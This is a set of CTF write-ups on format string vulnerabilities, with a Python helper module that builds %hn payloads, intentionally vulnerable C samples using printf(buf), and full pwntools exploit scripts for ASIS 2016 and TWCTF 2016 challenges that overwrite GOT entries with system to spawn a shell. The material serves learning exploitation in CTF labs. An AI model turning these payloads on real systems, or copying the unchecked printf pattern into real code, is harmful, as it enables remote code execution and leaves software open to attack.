Module in Python for automating “Format String Vulnerability”

I have written small module in python where we can automate the “format string vulnerability”.

Most of the time when i find format string vulnerability binaries in CTF’s i kept on doing the small scripting part again and again, so i have decided to write a module that keeps the work simple.

import struct
def p32(val):
    return str(struct.pack("<I", val))

def makepayload(leak, addr, offset):
    upper = int((leak)[2:6],16)
    lower = int((leak)[6:10],16)

    if (upper <= lower):
        payload = p32(addr + 2)+p32(addr)+"%"+str(upper-8) +"x%"+ offset + "$hn"+"%"+str(abs(lower-upper))+ "x%" + str(int(offset) + 1) + "$hn"

    else:
        payload = p32(addr)+p32(addr + 2)+"%"+str(lower-8) +"x%" + offset +"$hn"+"%"+str(abs(upper-lower))+"x%" + str(int(offset) + 1) +"$hn"

    return payload

You can just import this and attack the binary, any ways i will try to demonstrate using small example.

#include 

int data;

int main(int argc, char **argv){

  data = 0;
  if(argc != 2){
    printf("Enter argument\n");
    return 0;
  }
  char buf[100];
  strncpy(buf, argv[1],100);
  printf(buf);

  if(data == 0)
    printf("Data not changed\n");
  else
    printf("Data changed!!!\n");
  return 0;
}

In this binary i am just aiming to change the value of global variable data using the vulnerable “printf”.

➜  module ./try $(python -c 'print "A"*4 + "-%x"*10')
AAAA-ffdef99e-64-ffdef0a4-41414141-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78Data not changed

So here i can read stack and could read the input AAAA at 4th position and using gdb i can found out the address of data.

Here is the exploit.

import format
          
payload = format.makepayload('0x00000100', 0x0804a030,      '4')
                              value     address of data    offset  
print payload

Here is the output

 ➜  module python exploit.py 
2�0�%-8x%4$hn%256x%5$hn
➜  module ./try $(python exploit.py)
2�0�ffdee9a5                                                                                                                                                                                                                                                              64Data changed!!!

ASISCTF-Finals2016(Diapers Simulator)-pwn

This challenge worked for me locally and i got remote shell also but i couldn’t intract with the server for which i don’t the reason, if any one of you finds it please comment to this blog.

Coming to challenge it was a indirect format string vulnerability where you are supposed to get control over the string that is not under our control. 1

Here the brand name is ended with a null byte hence we cannot overflow to the buffer that is passed as argument to printf. But here calling “Change Diapers” decrement integer by -1, hence calling 257 times will make it 0xffffffff. Hence  by doing this we can remove the NULL pointer and overflow into buffer and control the first argument to printf. So using format string vulnerability we can GOT of strlen with system and calling “change brand”  with strlen and spwan a shell. Here is the exploit for the challenge

from pwn import *
strlen = 0x804b028
#p=remote("diapers.asis-ctf.ir",1343)
p=process("diapers")
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
for x in range(0,257):
       p.sendline("1")
       p.recvuntil("> ")
p.sendline("0")
p.recvuntil(": ")
payload=fit({15:"%x-%x-"},filler="A",length=108)
p.sendline(payload)
p.recvuntil("> ")
p.sendline("2")
p.recvuntil(":\n")
p.recvuntil("-")
system=int(p.recvuntil("-").strip("-"),16)-0x15dc9
upper=int(hex(system)[2:6],16)
lower=int(hex(system)[6:10],16)
p.sendline("0")
p.recvuntil(": ")
if upper <= lower:         
  payload=fit({0:"sh\x00",15:p32(strlen+2)+p32(strlen)+"%"+str(upper-8)
+"x%18$hn"+"%"+str(abs(lower-upper))+ "x%19$hn" },length=108) 
else : 
  payload=fit({0:"sh\x00",15:p32(strlen)+p32(strlen+2)+"%"+str(lower-8)
+"x%18$hn"+"%"+str(abs(upper-lower))+"x%19$hn" },length=108) 
p.sendline(payload) 
print p.recvuntil("> ")
p.sendline("2")
print p.recvuntil("> ")
p.sendline("0")
p.interactive()

Tokyo Westerns/MMA CTF 2nd 2016 – greeting-150(pwn)

➜  greeting file greeting
greeting: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), 
dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63, 
not stripped

checksec: greeting
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

The binary simply asks for our name and then echoes it back, but while printing it back it uses a single augmented printf i.e name, which leads to “format string vulnerability”. After looking at it, i just though of overwriting GOT of any function that is called after printf, but after little of reversing i got know that there was function that is called.

Then i though of overwriting DTOR but i guess they were hard-coded, so that was also that possible and wasted lot of my thinking of other things. Finally this link helped me to think about .fini_array session. As this binary has NX enabled to cannot execute shell code. So i tired overwriting GOT of printf function which will help to spawn a shell in the next call of the main function but that didn’t work.  Finally i was searching for the functions whose argument was under our control and finally found “strlen” in getline function.

 So idea behind solving this problem is:

-> overwriting .fini_array with main function.
-> overwriting GOT of strlen with "system".
-> overwriting fini and GOT must be done in a single shot i.e in the first call of main 
-> giving input as "sh" in the second call of main function. 

Exploit code for the exploiting the binary:

from pwn import *

main = 0x080485ed
fini = 0x08049934
system = 0x08048490
strlen = 0x8049a54
p = remote('pwn2.chal.ctf.westerns.tokyo',16317)

exploit = 'AA'
exploit += pack(0x08049936)
exploit += pack(0x08049a56)
exploit += pack(0x08049a54)
exploit += pack(0x08049934)

first = 0x804 - 0x1c - 0x8 #print 0x804 bytes before 0x8049936 
second = 0x8490 - 0x0804
third = 0x85ed - 0x8490
exploit += '%' + str(first) +  'x%12$hn'
exploit += '%13$hn'
exploit += '%' + str(second) + 'x%14$hn'
exploit += '%' + str(third) + 'x%15$hn'
exploit += ""

print p.recvuntil('... ')
p.sendline(exploit)
print p.recvuntil('... ')
p.sendline("sh")
p.interactive()
#TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}

Running this exploit code will spawn a shell 🙂

CSAW QUALS 2015: contacts-250(format string vulnerability)

Few days back i got more interest in FORMAT STRING VULNERABILITY, so i decided to solve one good problem related.

This is problem that is from CSAW CTF 2015 which i couldn’t solve at the time of the CTF.

This problem is mainly a menu driven program where we can store our contacts and description. The main vulnerability in this challenge lies in “Display contacts”.

After adding our contacts, when we try to view our contacts list and description, the description is printed out using “printf(description)”.

So when we try leaking our stack using that vulnerability we can leak out some malicious information. There may be may ways to exploit the binary, but i have used two saved ebp’s that are leaked form printf to change my instruction pointer that would give me shell.

I could leak two saved ebp’s one at 6th and other at 18th position and one more advantage is that first saved ebp contained the value of other saved ebp i.e is 18th position . So using format string specifier changing the address of saved ebp would result in the change of in saved ebp.

[savedebp(6th position)] --> savedebp(18th position)

My idea to solve that challenge is to change the saved ebp and pivot the stack to data segment so that i have control over that segment.

The idea to overwrite the saved ebp, is through format string vulnerability. First we should leak the address of saved ebp and add 2 to that saved ebp and then using format string write it into the saved ebp that will result change other saved ebp.

So taking advantage of that we can write 4 bytes of the saved ebp and control over the instruction pointer. once overwriting the saved ebp  our stack would have been changed.

In my case i tried changing stack to data segment because i had control over that segment. I done my have chaining of return to libc in that segment.

Format String Exploit (OverWrite GOT)

Format String vulnerabilities seems very simple but they are very powerful. They are silly mistakes made the programmers.
In the problem given below (I have designed on my own 😛 ) there is Format String that is casing the attacker to take advantage of the problem and do some manipulation which he is not supposed do.

#include

int main(int argc,char **argv) {

char buf[100];
printf("Welcome to Format String Attack !!!!!!!\n");
printf("Hello ");
strncpy(buf,argv[1],100);
printf(buf);
printf(buf);
return 0;

}

Here your are supposed to give your name as argument. But what will a clever hacker do.

➜  ./format "%x-%x-%x-%x-%x-%x-%x-%x-%x"         
Welcome to Format String Attack !!!!!!!
Hello ffffd965-64-ffffd7b4-ffffd754-ffffd6c8-252d7825-78252d78-2d78252d-252d7825ffffd965-64-ffffd7b4-ffffd754-ffffd6c8-252d7825-78252d78-2d78252d-252d7825%             

So form this payload we got know that we can leak the address on the stack. If you clearly observe the output you will notice that input itself is been printed which is on the stack. There is one interesting format specifier for printf which is “%n”. From the MAN of printf

The number of characters written so far is stored into the integer and that value is written into the dereferenced address of which it is pointing.

So for the input “AAAA%6$n” the value 4 will be written into the address 0x41414141. So taking this as advantage, we will try to overwrite the address of GOT of printf which is already been called once and spawn the shell.

 ➜objdump -d format
 
 08048370 <printf@plt>:
 8048370:       ff 25 0c a0 04 08       jmp    *0x804a00c
 8048376:       68 00 00 00 00          push   $0x0
 804837b:       e9 e0 ff ff ff          jmp    8048360 <_init+0x28>

➜gdb -q format
b *main 
Breakpoint 1 at 0x80484cd
r
Breakpoint 1, 0x080484cd in main ()
p system
$1 = {} 0xf7e49190 

So we should write the address of system form libc(0xf7e49190) into the address of “0x804a00c”.
The way to give padding is

0x9190 - 12 = 37252 
0xf7e4 - 0x9190 = 26196

12 is bytes that as been given before which is “sh;#\x0c\xa0\x04\x08\x0e\xa0\x04\x08”.
I will overwrite 2 bytes of data at a time for which i will use ‘h’ before n.
Here is my exploit for that

./format $(python -c 'print "sh;#\x0c\xa0\x04\x08\x0e\xa0\x04\x08%37252x%7$hn%26196x%8$hn"')

So this exploit will spawn you a shell.